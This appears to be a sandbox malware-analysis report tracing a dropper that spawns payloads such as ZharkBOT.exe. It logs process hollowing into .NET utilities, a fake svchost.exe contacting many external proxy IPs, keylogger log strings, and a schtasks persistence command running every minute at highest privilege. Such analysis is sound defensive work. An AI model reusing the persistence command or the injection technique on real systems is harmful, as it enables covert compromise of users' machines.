Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 92.241.66.138 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 103.205.128.7 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 103.47.93.236 1080
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 222.165.223.138 41541
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 47.116.210.163 3128
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 201.71.2.177 999
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 162.214.75.237 24949
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 67.43.228.251 1961
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 185.78.16.76 5678
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 8.130.36.245 8888
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 141.105.107.152 5678
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 36.82.203.68 3128
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 38.57.3.39 28506
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 197.251.236.226 5678
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 107.180.101.226 37552
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 148.72.210.123 7749
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 195.2.78.251 1987
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 114.108.177.104 60984
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 24.249.199.4 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 193.200.151.158 8192
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 177.72.82.9 5678
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 212.19.171.48 8080
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 117.74.65.207 80
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 104.18.11.5 443
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 97.74.229.3 45644
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 173.212.237.43 9170
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 195.2.76.207 11531
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 198.12.253.239 39820
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 72.195.34.58 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 178.62.7.98 33475
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 103.121.214.50 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 66.29.128.244 41496
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 148.72.212.125 21307
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 103.210.29.201 31433
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 103.135.7.2 63123
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 199.58.184.97 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 174.64.199.79 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 207.55.240.19 59714
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 78.146.180.112 110
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 76.26.114.253 39593
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 213.160.71.130 10664
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 148.72.212.252 64753
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 186.248.197.210 5678
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 45.251.57.49 4153
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 166.62.88.163 14827
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 142.54.235.9 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 223.19.139.172 80
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 192.252.214.20 15864
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 183.88.157.154 8080
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 128.199.183.41 39047
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 109.238.12.156 50539
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 103.124.137.251 1080
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 166.0.235.5 53215
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 49.229.36.170 4153
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 184.178.172.11 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 103.79.152.204 5678
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 45.234.100.102 1080
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 8.130.39.117 9999
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 103.130.113.245 5678
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 50.63.12.33 57800
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 72.195.34.42 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 47.90.167.27 3128
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 8.213.128.90 8060
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 185.122.204.56 41543
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 200.85.169.221 1080
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 174.77.111.198 49547
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 174.77.111.196 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 103.54.148.189 1080
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 185.18.198.163 38188
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 83.234.147.166 6363
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 201.204.47.66 5678
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 58.57.2.46 10800
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 190.14.155.198 5678
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 110.139.128.232 4145

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: hello.exe PID: 7396, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_regiis.exe PID: 7464, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 400000 protect: page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe

Code function: 4_2_005E018D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

4_2_005E018D

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 426000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 434000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 436000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 4E2000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 6F7008	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 401000
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 41C000
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 424000
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 637000
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2D28008
Source: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: C63008
Source: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000
Source: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 42E000
Source: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 48A000

Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Process created: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe "C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe "C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe "C:\Users\user\AppData\Local\Temp\1000202001\hello.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe "C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe "C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe "C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000241001\see.exe "C:\Users\user\AppData\Local\Temp\1000241001\see.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe "C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe "C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe "C:\Users\user\AppData\Roaming\VP2pdCInvS.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 6472 -ip 6472	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6472 -s 284	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Process created: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe "C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe"
Source: C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe	Process created: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe "C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe"
Source: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "schtasks" /create /SC MINUTE /MO 1 /TN "svchost" /tr "C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe" /rl HIGHEST /f
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe "C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Process created: C:\Windows\SysWOW64\schtasks.exe

Source: axplong.exe, axplong.exe, 00000003.00000002.2077599379.0000000000BAF000.00000040.00000001.01000000.00000007.sdmp, FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000026.00000002.4135928351.00000000013FF000.00000040.00000001.01000000.0000001F.sdmp, svchost.exe, 0000002A.00000002.4552683302.0000000005A69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: Z73fDV6g4L.exe, 00000009.00000002.2110715381.0000000003084000.00000004.00000800.00020000.00000000.sdmp, see.exe, 0000001C.00000002.3876408152.0000000002911000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000025.00000002.4024278753.0000000002F47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: GetProgmanWindow
Source: svchost.exe, 0000002A.00000002.4552683302.0000000005A69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Managert-]q
Source: svchost.exe, 0000002A.00000002.4552683302.0000000005DBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qW<p class="h"><br><br>[<b>Program Manager - 05:11 UTC</b>]</p><br><p class="h">[Win]</p>LR]q
Source: svchost.exe, 0000002A.00000002.4552683302.0000000005DBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: <meta http-equiv='Content-Type' content='text/html; charset=utf-8' />Log created on Saturday, 13 July 2024 05:23 UTC<br><br><style>.h { color: 0000ff; display: inline; }</style><p class="h"><br><br>[<b>Program Manager - 05:11 UTC</b>]</p><br><p class="h">[Win]</p>Te]q
Source: svchost.exe, 0000002A.00000002.4552683302.0000000005C27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qA<p class="h"><br><br>[<b>Program Manager - 05:11 UTC</b>]</p><br>LR]q
Source: svchost.exe, 0000002A.00000002.4552683302.0000000005C27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: `,]q1><br>[<b>Program Manager - 05:11 UTC</b>]</p><br>
Source: svchost.exe, 0000002A.00000002.4552683302.0000000005DBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: <meta http-equiv='Content-Type' content='text/html; charset=utf-8' />Log created on Saturday, 13 July 2024 05:23 UTC<br><br><style>.h { color: 0000ff; display: inline; }</style><p class="h"><br><br>[<b>Program Manager - 05:11 UTC</b>]</p><br><p class="h">[Win]</p>
Source: svchost.exe, 0000002A.00000002.4552683302.0000000005DBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: `,]q\|<style>.h { color: 0000ff; display: inline; }</style><p class="h"><br><br>[<b>Program Manager - 05:11 UTC</b>]</p><br><p cla
Source: Z73fDV6g4L.exe, 00000009.00000002.2110715381.0000000003084000.00000004.00000800.00020000.00000000.sdmp, see.exe, 0000001C.00000002.3876408152.0000000002911000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000025.00000002.4024278753.0000000002F47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SetProgmanWindow

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Code function: 2_2_009DD2E8 cpuid

2_2_009DD2E8

Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: GetLocaleInfoW,	4_2_00AC2986
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	4_2_00AC2AAF
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: EnumSystemLocalesW,	4_2_00AB8A86
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: GetLocaleInfoW,	4_2_00AC2BB5
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	4_2_00AC2320
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	4_2_00AC2C84
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: EnumSystemLocalesW,	4_2_00AC25C2
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: GetLocaleInfoW,	4_2_00AC251B
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: EnumSystemLocalesW,	4_2_00AC26A8
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: EnumSystemLocalesW,	4_2_00AC260D
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: GetLocaleInfoW,	4_2_00AB8FEC
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	4_2_00AC2733
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	5_2_0041E825
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	5_2_00414138
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	5_2_0041EA78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	5_2_0041EBA1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	5_2_0041E412
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	5_2_0041ECA7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	5_2_0041ED76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	5_2_0041465E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	5_2_0041E60D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	5_2_0041E6FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	5_2_0041E6B4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	5_2_0041E79A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000192001\gold543.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000193001\wev233v22.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000219001\1qWbf4Bsej2u.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000219001\1qWbf4Bsej2u.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000227001\see.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000238001\ovrflw.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000241001\see.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Queries volume information: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Queries volume information: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
